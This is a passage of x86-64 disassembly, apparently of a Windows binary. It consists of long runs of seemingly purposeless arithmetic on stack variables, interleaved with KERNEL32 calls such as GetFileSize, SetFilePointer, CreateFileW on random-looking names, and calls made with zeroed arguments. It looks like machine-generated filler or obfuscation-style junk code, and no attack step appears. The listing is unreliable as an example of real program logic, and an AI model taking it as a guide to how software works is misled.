mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4af8], eax
mov rax, qword [rsp + 0xa5a8]
mov rcx, qword [rsp + 0x7138]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad38]
mov rcx, qword [rsp + 0x96e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x398c], eax
mov rax, qword [rsp + 0x9fa8]
movsx eax, byte [rax]
mov rcx, qword [0x14022ba80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x371], al
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b4]
and eax, ecx
mov rcx, qword [rsp + 0xb700]
mov word [rcx], ax
mov rcx, qword [rsp + 0xaba8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1de0]
mov rcx, qword [rsp + 0xb6f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022a0a0], ax
mov rax, qword [rsp + 0xa960]
mov rax, qword [rax]
mov qword [rsp + 0xbab8], rax
mov rax, qword [rsp + 0xa990]
mov rcx, qword [rsp + 0x91f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a20], rax
mov rax, qword [rsp + 0xb738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xaa4], ax
mov rax, qword [0x14022b8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb220]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d94], ax
mov rax, qword [rsp + 0xa9e0]
mov ecx, dword [rsp + 0x4a98]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4a3c], eax
mov rax, qword [rsp + 0xaa48]
mov rax, qword [rax]
mov qword [rsp + 0xbac0], rax
lea rdx, [rsp + 0x4afc]
mov rcx, qword [rsp + 0xb1f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4808], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movsx eax, byte [rsp + 0x142]
movsx ecx, byte [rsp + 0xac]
imul eax, ecx
mov byte [rsp + 0x38a], al
mov rax, qword [rsp + 0xb258]
mov rax, qword [rax]
mov qword [rsp + 0xbac8], rax
mov rax, qword [rsp + 0xb6e0]
movsx eax, word [rax]
movsx ecx, word [0x140229f58]
sar eax, cl
mov word [0x140229f6c], ax
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb588]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d48], ax
movzx eax, byte [rsp + 0x352]
mov rcx, qword [rsp + 0xb360]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x275], al
lea rax, [rsp + 0x4ab8]
mov qword [rsp + 0xbad0], rax
mov rax, qword [rsp + 0xb4b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4270]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x403c], eax
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x34e]
imul eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov qword [rsp + 0xbad8], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc34]
sar eax, cl
mov word [rsp + 0x1db8], ax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov word [0x14022bd20], ax
lea rdx, [rsp + 0x4a24]
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4648], eax
mov rax, qword [rsp + 0xb1f0]
mov rcx, qword [rsp + 0x9c28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa990]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1260]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7ec], ax
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb5f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d34], ax
lea rax, [rsp + 0xa548]
mov qword [rsp + 0xbae0], rax
mov rax, qword [rsp + 0xb890]
mov rcx, qword [rsp + 0xba68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7230], rax
movsx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0xb280]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa920]
mov byte [rcx], al
mov rax, qword [rsp + 0xaef0]
mov eax, dword [rax]
mov dword [rsp + 0x4b00], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x17c8]
movzx ecx, word [0x14022b89c]
xor eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0x7218]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14022a0a8], rax
lea rax, [rsp + 0x3c40]
mov qword [rsp + 0xbae8], rax
mov rax, qword [rsp + 0xad58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9fe8]
mov byte [rcx], al
movsx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b4], ax
movzx eax, word [rsp + 0x1d08]
mov word [rsp + 0x1f98], ax
movsx eax, byte [rsp + 0x34e]
movsx ecx, byte [rsp + 0x390]
sub eax, ecx
mov byte [rsp + 0x1fd], al
lea rax, [rsp + 0xa5d0]
mov qword [rsp + 0xbaf0], rax
mov rax, qword [rsp + 0xa888]
mov ecx, dword [rsp + 0x4b00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4b8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1e48]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb068]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e4c]
movzx ecx, word [rsp + 0x1f70]
add eax, ecx
mov rcx, qword [0x14022b860]
mov word [rcx], ax
lea rax, [rsp + 0xa228]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0xb478]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb648]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0xa310]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7318], rax
mov rax, qword [rsp + 0xb6e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f28]
xor eax, ecx
mov word [rsp + 0x1b5c], ax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
mov qword [rsp + 0xbb00], rax
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0x34e]
shl eax, cl
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x49e4]
mov ecx, dword [0x140229f2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaac0]
mov qword [rsp + 0xbb08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0xa3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0xb0d8]
movzx eax, word [rax]
mov word [0x14022bd24], ax
lea rdx, [rsp + 0x4b04]
mov rcx, qword [rsp + 0xb248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a0c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rax, [rsp + 0x1e64]
mov qword [rsp + 0xbb10], rax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e7c]
sub eax, ecx
mov word [rsp + 0x1cfc], ax
mov rax, qword [rsp + 0xa880]
mov rcx, qword [0x140229fe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xb150]
movzx eax, byte [rax]
mov byte [rsp + 0x3aa], al
mov rax, qword [rsp + 0xad38]
mov ecx, dword [rsp + 0x3d7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a54], eax
mov rax, qword [0x14022bd18]
mov qword [rsp + 0xbb18], rax
movsx eax, word [rsp + 0x1cd8]
movsx ecx, word [rsp + 0x1964]
and eax, ecx
mov rcx, qword [rsp + 0xb700]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
sar eax, cl
mov word [rsp + 0x1508], ax
mov rax, qword [rsp + 0x9478]
mov rcx, qword [rsp + 0xa7d0]
add rcx, rax
mov rax, rcx
mov qword [0x140229ff8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x89e3
mov rcx, qword [rsp + 0xac68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
sub eax, ecx
mov word [rsp + 0x8e4], ax
mov rax, qword [rsp + 0xb2a8]
mov rcx, qword [rsp + 0xaa20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb6f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa548]
mov qword [rsp + 0xbb20], rax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0xb488]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7960], rax
lea rdx, [rsp + 0x4960]
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b08], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movsx eax, byte [0x14022b814]
movsx ecx, byte [rsp + 0x356]
xor eax, ecx
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0xb838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb218]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x360], al
mov rax, qword [rsp + 0xb7a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44e0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x60d4
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4940], eax
mov eax, dword [rsp + 0x497c]
mov dword [rsp + 0x4b0c], eax
movsx eax, word [rsp + 0x1db8]
movsx ecx, word [rsp + 0xfa8]
sar eax, cl
mov word [0x14022bb68], ax
lea rcx, [rsp + 0xbb28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0xad0]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea8], ax
movzx eax, word [rsp + 0x1eac]
mov word [rsp + 0x1f9c], ax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xef0], ax
mov eax, dword [rsp + 0x4acc]
mov ecx, dword [rsp + 0x4754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e04], eax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0xbb30], rax
mov r9d, 0x1348
xor r8d, r8d
lea rdx, [rsp + 0xad60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4664], eax
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0x3a4]
add eax, ecx
mov byte [rsp + 0x1bb], al
lea rcx, [rsp + 0xb498]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14ec], ax
lea rdx, [rsp + 0x4910]
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b10], eax
mov rax, qword [rsp + 0xb410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9fd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ce0], ax
mov r9d, 0x35b
xor r8d, r8d
lea rdx, [rsp + 0xa278]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0x9a20]
mov qword [0x14022bd28], rax
mov rax, qword [rsp + 0x82d0]
mov rcx, qword [rsp + 0x7f08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8f8], rax
mov rax, qword [rsp + 0x9828]
mov qword [rsp + 0xbb38], rax
mov rax, qword [rsp + 0xb028]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb1c0]
shl rax, cl
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x1a28]
mov qword [rsp + 0xbb40], rax
movzx eax, byte [rsp + 0x377]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2bb], al
lea rcx, [rsp + 0xbb48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa160]
mov ecx, dword [rsp + 0x4a28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4400], eax
lea rdx, [rsp + 0x46bc]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b08], eax
mov rax, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0x8a70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0xa0b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb128]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4a4c]
movzx ecx, al
mov eax, dword [rsp + 0x3a24]
shr eax, cl
mov dword [0x140229fcc], eax
mov rcx, qword [rsp + 0xa2e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
mov word [rsp + 0x1fa0], ax
mov rax, qword [rsp + 0xb680]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14ec], ax
mov rax, qword [0x14022b8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1754]
add eax, ecx
mov word [rsp + 0xa98], ax
mov rax, qword [rsp + 0xad50]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa290]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.dyT031K4WVWH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbb50], rax
mov rax, qword [0x14022a018]
mov rcx, qword [rsp + 0xb9a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4f8], rax
lea rcx, [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x11d8
xor r8d, r8d
lea rdx, [rsp + 0x9f38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48fc], eax
mov rax, qword [rsp + 0xaf60]
mov eax, dword [rax]
mov dword [rsp + 0x4b14], eax
movsx eax, byte [rsp + 0x3a7]
movsx ecx, byte [rsp + 0x370]
sub eax, ecx
mov rcx, qword [rsp + 0xa408]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [0x140229f54]
mov word [rsp + 0x1fa4], ax
mov rax, qword [rsp + 0xa238]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f48]
sar eax, cl
mov word [0x14022a0b0], ax
mov rax, qword [rsp + 0x9eb0]
mov rcx, qword [rsp + 0x8180]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7030], rax
movzx eax, word [0x14022b850]
mov rcx, qword [rsp + 0xb0a0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b38]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3e20], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.yd4MSom0DRU5iLUBTpNnVGiVIee2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xb2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [rsp + 0xb060]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ab], al
mov rcx, qword [rsp + 0xacc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb890]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4948]
mov ecx, dword [rsp + 0x3da8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb130]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb738]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1380], ax
lea rdx, [rsp + 0x45ec]
mov rcx, qword [rsp + 0xb970]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0xb5a8]
movzx eax, word [rax]
mov rcx, qword [0x14022b9d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022bbf0], ax
mov rax, qword [rsp + 0xa548]
mov rcx, qword [rsp + 0x7480]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb530], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov qword [rsp + 0xbb60], rax
mov rax, qword [rsp + 0xb5d0]
movsx eax, word [rax]
movsx ecx, word [0x14022b828]
and eax, ecx
mov word [rsp + 0x1f04], ax
lea rax, [rsp + 0x1d1c]
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0xb380]
mov rcx, qword [rsp + 0x8530]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa750], rax
mov rax, qword [0x14022b9f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4484]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.DSx_bnj1Pti91vzxghkeofzRepreUf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0xb448]
movzx eax, byte [rax]
mov byte [rsp + 0x3ac], al
mov rax, qword [rsp + 0xb5c8]
mov rcx, qword [rsp + 0xaab0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb178], rax
lea rdx, [rsp + 0x48d4]
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x470c], eax
lea rax, [rsp + 0xd98]
mov qword [0x14022bd30], rax
movzx eax, word [0x14022bc40]
movzx ecx, word [rsp + 0x1d24]
xor eax, ecx
mov word [rsp + 0x19a8], ax
mov rax, qword [rsp + 0xbad0]
mov rcx, qword [rsp + 0xaeb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb480]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov byte [rcx], al
lea rax, [rsp + 0xb398]
mov qword [rsp + 0xbb78], rax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [rsp + 0xada8]
mov qword [rsp + 0xbb80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb80]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
lea rax, [rsp + 0x3a5]
mov qword [rsp + 0xbb88], rax
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x4778]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47ac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.uoiNLwk_vxNczpvzF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbb90], rax
mov rax, qword [rsp + 0xb8d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d84]
sub eax, ecx
mov word [rsp + 0x1e50], ax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1f0c]
mov qword [0x14022bd38], rax
lea rax, [rsp + 0x9ca0]
mov qword [rsp + 0xbb98], rax
mov rcx, qword [rsp + 0xad70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1f60]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f48], ax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa558]
movzx eax, word [rax]
mov word [rsp + 0x1fa8], ax
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
mov rcx, qword [0x14022bcd0]
mov qword [rsp + 0xbba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbba0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7350], rax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0xa4e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa940]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x384]
movsx ecx, byte [0x14022b814]
add eax, ecx
mov byte [rsp + 0x98], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xa3a0]
mov ecx, dword [rsp + 0x4834]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
lea rax, [rsp + 0x17d0]
mov qword [rsp + 0xbba8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbbb0], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9bd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bb80]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov r9d, 1
xor r8d, r8d
mov edx, 0xe1b3
mov rcx, qword [rsp + 0xb1f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47b0], eax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x383]
movzx ecx, byte [rsp + 0x3a9]
shl eax, cl
mov byte [rsp + 0x378], al
mov eax, dword [rsp + 0x4aec]
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1394]
or eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa458]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb170]
mov word [rcx], ax
mov eax, dword [rsp + 0x479c]
mov dword [rsp + 0x4b1c], eax
mov rax, qword [0x14022bb00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb988]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xfb13
mov rcx, qword [rsp + 0xa760]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a10], eax
mov rax, qword [rsp + 0xa2a0]
mov rcx, qword [rsp + 0xa898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7b28], rax
mov rax, qword [rsp + 0xac60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eec]
sub eax, ecx
mov word [rsp + 0x10b4], ax
movzx eax, word [rsp + 0x1e70]
movzx ecx, word [rsp + 0x163c]
and eax, ecx
mov word [0x14022b910], ax
mov rax, qword [0x140229f20]
mov rcx, qword [rsp + 0x76b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa820]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb098]
mov rax, qword [rax]
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xacf0]
movzx ecx, al
mov rax, qword [rsp + 0xa080]
sar rax, cl
mov qword [rsp + 0x9120], rax
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb650]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18dc], ax
lea rcx, [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4860]
mov ecx, dword [rsp + 0x482c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4844], eax
movsx eax, byte [rsp + 0x397]
movsx ecx, byte [rsp + 0x372]
and eax, ecx
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
mov rax, qword [0x14022bd18]
mov qword [rsp + 0xbbc0], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x331], al
mov eax, dword [rsp + 0x4a64]
movzx ecx, al
mov eax, dword [rsp + 0x4234]
shl eax, cl
mov dword [rsp + 0x41fc], eax
mov rax, qword [rsp + 0xb6e0]
movzx eax, word [rax]
mov word [0x14022bd40], ax
movzx eax, word [rsp + 0x1d50]
mov rcx, qword [rsp + 0xbb68]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa148]
mov word [rcx], ax
lea rdx, [rsp + 0x4900]
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b20], eax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa58]
sar eax, cl
mov word [rsp + 0x1598], ax
lea rax, [rsp + 0x7300]
mov qword [rsp + 0xbbc8], rax
mov eax, dword [rsp + 0x47d0]
mov ecx, dword [rsp + 0x3ff4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4754], eax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
xor r8d, r8d
mov edx, 0x2406
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b24], eax
lea rax, [rsp + 0xa768]
mov qword [rsp + 0xbbd0], rax
mov rax, qword [0x14022bab8]
movsx eax, byte [rax]
